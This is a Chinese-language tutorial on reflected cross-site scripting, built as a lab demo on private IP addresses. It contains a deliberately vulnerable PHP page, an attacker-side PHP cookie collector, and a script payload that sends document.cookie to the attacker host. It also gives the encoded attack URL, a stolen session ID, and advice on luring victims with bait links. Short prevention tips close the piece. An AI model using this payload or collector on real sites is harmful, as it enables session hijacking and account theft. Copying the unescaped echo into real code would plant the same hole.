不可忽略的xss攻擊

大多數人對於XSS的原理有一個基本認識,這裏不再重複,只給出一個能夠演示其原理的完整樣例。

1 角色分配

  • 有XXS漏洞的網站,IP地址172.16.35.135,PHP爲開發語言
  • 受害訪問者,IP地址172.16.35.220,瀏覽器爲IE11
  • 黑客的數據接收網站,IP地址172.16.2.192,PHP爲開發語言

2 源碼實例

2.1 漏洞網站

存在漏洞的URL爲:http://172.16.35.135/xss_demo.PHP

[php] view plain copy
 在CODE上查看代碼片派生到我的代碼片
  1. <?php  
  2. session_start();  
  3. ?>  
  4. <!doctype html>  
  5. <html>  
  6.     <head>  
  7.         <title>XSS demo</title>  
  8.     </head>  
  9.     <body>  
  10.     <form>  
  11.     <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />  
  12.             <input type="submit" value="Submit" />  
  13.         </form>  
  14.     </body>  
  15. </html>  


該網頁把用戶通過GET發送過來的表單數據,未經處理直接寫入返回的html流,這就是XSS漏洞所在。

2.2 黑客接收網站

接收網站的URL爲http://172.16.2.192/xss_hacker.php

[php] view plain copy
 在CODE上查看代碼片派生到我的代碼片
  1. <?php  
  2. $victim = 'XXS得到的 cookie:'$_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];  
  3. file_put_contents('xss_victim.txt'$victim);  


把受害用戶的IP地址和訪問漏洞網站時使用的cookie,一起寫入xss_victim.txt文件保存備用。

2.3 用戶正常訪問

用戶使用IE11訪問網站。現在網站一般都採用session+cookie來保存用戶登錄信息,網站通過驗證cookie來確實是否是合法已登錄用戶,所以cookie是用戶的敏感數據.

3 攻擊過程

3.1 黑客準備攻擊字符串,構造攻擊URL

黑客可以通過各種掃描工具或者人工輸入來找到有XSS漏洞的網站URL,然後精心構造攻擊字符串。對於本例來說構造出來的字符串爲:

[html] view plain copy
 在CODE上查看代碼片派生到我的代碼片
  1. "/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--  

只要把這個字符串作爲漏洞網站文本編輯框的表單值輸入提交,就會造成攻擊。手工輸入這個字符串,並提交,瀏覽器地址欄自動生成攻擊URL。如下圖:

此時,用戶訪問漏洞網站的html代碼,被修改成了:

[html] view plain copy
 在CODE上查看代碼片派生到我的代碼片
  1. <!doctype html>  
  2. <html>  
  3.     <head>  
  4.         <title>XSS demo</title>  
  5.     </head>  
  6.     <body>  
  7.     <form>  
  8.     <input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />  
  9.             <input type="submit" value="Submit" />  
  10.         </form>  
  11.     </body>  
  12. </html>  


明顯看出,這個html回去執行一個腳本,這個腳本功能是把用戶的cookie發送到黑客的接收網站。

最終生成的攻擊URL爲:

[html] view plain copy
 在CODE上查看代碼片派生到我的代碼片
  1. http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--  

接下來要做的就是,尋找受害人,誘惑其點擊上述URL。

3.2 用戶上當誤點擊攻擊URL

黑客可以採取各種手段,包括髮Email,在各種論壇網站發佈此攻擊URL,如做成如下誘人連接。

屌絲們最喜歡美女了,在好奇心的驅動下,點擊了這個美女圖片。而點擊的後果正是訪問前面的攻擊URL。

3.3 用戶敏感數據被髮送到黑客接收網站

受害用戶訪問攻擊URL後,其敏感數據自動發送到黑客的接收網站。接收網站把這些敏感信息保存到文件中,當然現實的情況一定是存入數據庫中了。

xss_victim.txt中現在保存了受害者的敏感數據。

[html] view plain copy
 在CODE上查看代碼片派生到我的代碼片
  1. XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30  

注意,默認IE11開啓了XSS篩選器,此時IE會阻止上述簡單攻擊腳本。爲模擬攻擊,我們臨時把XSS篩選器禁用。

3.4 黑客利用敏感數據做壞事

有了受害用戶的敏感數據,就可以利用這些數據做各種壞事了,比如以受害用戶身份登錄漏洞網站,等等。

4 XSS的預防

XSS的預防可以從多方面着手:

(1)如前面所述,瀏覽器自身可以識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;

(2)從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全字符等手段,始終把安全放在心上;

(3)對於普通網民,需要注意儘量抵擋誘惑,別去點擊非知名網站的鏈接。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章